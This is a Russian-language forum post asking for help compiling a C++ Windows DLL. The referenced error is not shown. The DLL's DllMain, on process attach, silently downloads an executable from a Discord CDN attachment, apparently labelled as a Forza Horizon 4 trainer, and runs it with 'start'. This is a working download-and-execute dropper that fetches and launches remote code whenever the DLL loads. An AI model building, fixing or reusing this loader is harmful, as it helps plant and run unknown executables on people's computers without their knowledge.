Nerykery
Известный
- 522
- 125
Как мне скомпилить код?
Когда я нажимаю собрать решение происходит вот это
Вот код:
#include <Windows.h>
#include <string>
#include "pch.h"
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
std::string url = "https://cdn.discordapp.com/attachments/994031688717975712/1114598234913001624/Forza_Horizon_4_v1.474.683.0_STEAM_-_v1.474.687.2_UWP_13_Trainer.exe";
std::string filename = "Forza_Horizon_4_v1.474.683.0_STEAM_-_v1.474.687.2_UWP_13_Trainer.exe";
int urlLength = MultiByteToWideChar(CP_UTF8, 0, url.c_str(), -1, NULL, 0);
wchar_t* urlWide = new wchar_t[urlLength];
MultiByteToWideChar(CP_UTF8, 0, url.c_str(), -1, urlWide, urlLength);
int filenameLength = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, NULL, 0);
wchar_t* filenameWide = new wchar_t[filenameLength];
MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, filenameWide, filenameLength);
URLDownloadToFile(NULL, urlWide, filenameWide, 0, NULL);
delete[] urlWide;
delete[] filenameWide;
system(("start " + filename).c_str());
break;
}
return TRUE;
}